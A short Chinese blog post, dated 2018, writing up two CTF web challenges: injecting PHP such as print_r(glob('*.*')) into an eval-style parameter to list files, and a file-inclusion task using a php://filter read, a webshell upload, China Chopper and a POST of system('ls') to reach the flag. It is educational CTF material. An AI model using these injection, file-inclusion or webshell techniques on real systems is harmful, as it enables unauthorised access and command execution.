关于print_r(glob('*.*'))和system('ls')

过狗一句话

看题目意思应该就是需要给s赋值,看到题目的时候也是觉得无从下手,多谢大佬的指点,使得做题在有了一些眉目。

    首先将s赋值为phpinfo(),发现可以访问,说明s可以输出我们输入的结果

    然后题目一般flag文件都在.php文件中显示,尝试查看所有的文件

                                                s=print_r(glob('*.*'))

    然后可以看到flag文件,直接访问相应的flag文件得到flag

 
 

文件包含2

 
 

一打开之后题目是这样的:http://118.89.219.210:49166/index.php?file=hello.php

然后查看源代码,没什么有用的东西,但是其中应该会隐藏什么

然后采用php://filter查看网页:http://118.89.219.210:49166/index.php?file=php://filter/read/convert.baer64-encode/resource=hello.php

然后查看源代码:

 
view-source:http://118.89.219.210:49166/index.php?file=php://filter/read/convert.baer64-encode/resource=hello.php

访问http://118.89.219.210:49166/upload.php

 
 

我直接上传了一个小马

 
 

然后采用菜刀连接,结果连接如下图所示

 
 

就是说其中的<?php和?>已经被屏蔽了,使得脚本无法执行,然后尝试修改文件,使得不会过滤,其中的一种过滤方法是

 
 

采用burp抓包,将这个文件进行发送:

 
 

菜刀连接

 

或者不要菜刀

直接访问这个文件,POST data  :a=system('ls');

 

 访问第txt文件,可以得到flag。
 

 

 
posted @ 2018-06-27 15:18  力拔山兮  阅读(370)  评论(0)    收藏  举报